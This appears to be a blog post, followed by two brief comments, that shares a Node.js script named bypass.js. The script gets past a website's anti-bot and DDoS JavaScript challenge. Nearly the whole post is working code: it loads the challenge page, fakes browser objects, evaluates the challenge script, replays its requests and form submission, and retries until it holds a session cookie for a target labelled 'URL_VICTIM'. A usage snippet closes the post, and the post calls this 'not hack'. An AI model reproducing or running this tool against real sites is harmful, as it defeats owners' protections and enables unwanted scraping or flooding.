This is not hack
This is just the solution to the challenge
File to save cookie "aa.json"
Main require: "request, cheerio,safe-eval, tough-cookie-filestore"
Variable URL_VICTIM : by yourselfMain require: "request, cheerio,safe-eval, tough-cookie-filestore"
File: bypass.js:
// var request_module = require('request'); var cheerio = require('cheerio'); var qs = require('querystring'); var safeEval = require('safe-eval'); var FileCookieStore = require('tough-cookie-filestore'); const browserMe = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'; var URL_VICTIM= '###by_yourself###'; const file_name_1= __dirname+ '/aa.json'; if(!require('fs').existsSync(file_name_1)) require('fs').writeFileSync(file_name_1, ''); var request = request_module.defaults({ jar : request_module.jar(new FileCookieStore(file_name_1)) }); var rq= { request, try: 0, calcTime: -1, browserMe } var arrFetchMe= []; function fetchMe(url, method, data){ console.log('url:', url); arrFetchMe.push({ url, method: method, data }); } function processHTML(html, callback){ var $ = cheerio.load(html); var bgImg= URL_VICTIM+ $('#trk_jschal_nojs').attr('style').split('\'')[1]; // console.log({bgImg}); fetchMe(bgImg); var temp = '(function(){})();'+ $('script').last().html(); var objDivId= { // } var document = { getElementsByTagName: function(tag1){ return [ { appendChild: function(obj){ fetchMe(obj.src); } } ] }, getElementById: function(id){ if(objDivId[id]) return objDivId[id]; var jquery= $('#'+ id); var a= { value: jquery.attr('value'), action: jquery.attr('action') ? URL_VICTIM+ jquery.attr('action'): undefined, submit: function(){ // console.log(objDivId); // console.log('url', this.action); var a= {}; $('#'+ id+ ' input').each(function(){ var b= $(this).attr('id'); a[$(this).attr('name')]= (objDivId[b] || {}).value || $(this).attr('value'); }) fetchMe(this.action, 'POST', a); }, style: {}, jquery, innerHTML: jquery.html() }; objDivId[id]= a; return objDivId[id]; }, body: { appendChild: function(objEl){ // console.log(objEl); // request to objEl.obj.src if(objEl && objEl.obj && objEl.obj.src) fetchMe(objEl.obj.src); } }, attachEvent: function(flag, fn){ fn(); }, createElement: function(){ return { innerHTML: '', firstChild: { href: URL_VICTIM+ '/' }, obj: {}, setAttribute: function(tag, val){ this.obj[tag]= tag=='src' ? ( URL_VICTIM+ val ) : val; } } }, addEventListener: function(flag, fn, trueFalse) { fn(); } }; var navigator = { cookieEnabled: true, userAgent: browserMe } var context = { document: document, location: {hash: ''}, window : { 'addEventListener' : 1, navigator }, navigator, setTimeout: function(fn, ms){ // setTimeout(fn, ms); fn(); }, setInterval: function(){ return 1+ Math.floor(Math.random()*10); } }; try{ safeEval(temp, context); } catch(_ex){ return callback(_ex); } // console.log(arrFetchMe); request({ url: arrFetchMe[0].url, headers: { 'Referer': URL_VICTIM+ '/', 'User-Agent': browserMe } }, function(_er0, _res0){ // }); request({ url: arrFetchMe[1].url, headers: { 'Referer': URL_VICTIM+ '/', 'User-Agent': browserMe } }, function(_er0, _res0){ // }); var meLen= arrFetchMe.length -1; if(arrFetchMe[meLen] && arrFetchMe[meLen].data){ var x= arrFetchMe[meLen], dataString= '', start0= 0; Object.keys(x.data).forEach(function(el){ var a= x.data[el]; if(!start0){ start0= 1; } else dataString+= '&'; dataString+= ''+ el+ '='+ x.data[el]; }); console.log({dataString}); var opt2 = { url: x.url, headers: { 'Referer': URL_VICTIM+ '/', 'User-Agent': browserMe, 'Content-Type': 'application/x-www-form-urlencoded', }, method: 'POST', body: dataString }; callback(null, opt2); } else { callback({message: 'html ddos cloudflare change?'}); } }; function poolWeb(html, timeOut, callbackDone){ processHTML(html, function(err, opt2){ function callNext(){ var timeOut_calc= Math.max(20, timeOut+ 1000); mainAction(timeOut_calc, callbackDone); } if(err){ console.log(err.message); callNext(); return; } setTimeout(function(){ var fileName = file_name_1; function callbackRequest(err2, res2, html2) { if(err2) return callNext(); var x = res2.statusCode; if(x==403){ // require('fs').writeFileSync('./g-capcha.html', html2); console.log('g-recapcha'); if(rq.try%5 == 4) require('fs').writeFileSync(fileName, ''); rq.try++; callNext(); } else if(x==503){ console.log('why enable javascript...'); if(rq.try%5 == 4) require('fs').writeFileSync(fileName, ''); callNext(); } else if(x==200){ console.log('oke 1'); rq.try= 0; rq.ok= true; if(callbackDone) callbackDone(0); } else callNext(); } request(opt2, callbackRequest); }, timeOut); }) } function mainAction(timeOut, callbackDone){ var options = { url: URL_VICTIM+ '/', timeout: 5000, headers: { 'User-Agent': browserMe } }; request(options , function (error, response, html) { if (!error && response.statusCode == 200) { console.log('oke 0'); //require('fs').writeFileSync('./app2.html', html); rq.ok= true; rq.try= 0; if(callbackDone) callbackDone(0); } else if(error) console.error(error); else{ var x = response.statusCode; console.log({ "note": 'fail 1st', "resCode": response.statusCode }) if(x==503) poolWeb(html, timeOut, callbackDone); } }); } // mainAction(9000); rq.mainAction= mainAction; module.exports= rq; //USE:
// const rq= require('./bypass.js');
var request;
if(!rq.ok) {
rq.mainAction(9000, function(_done){
request= rq.request;
});
}
else request= rq.request;
i really like this article please keep it up. Log4Shell
ReplyDeleteU are welcome
Delete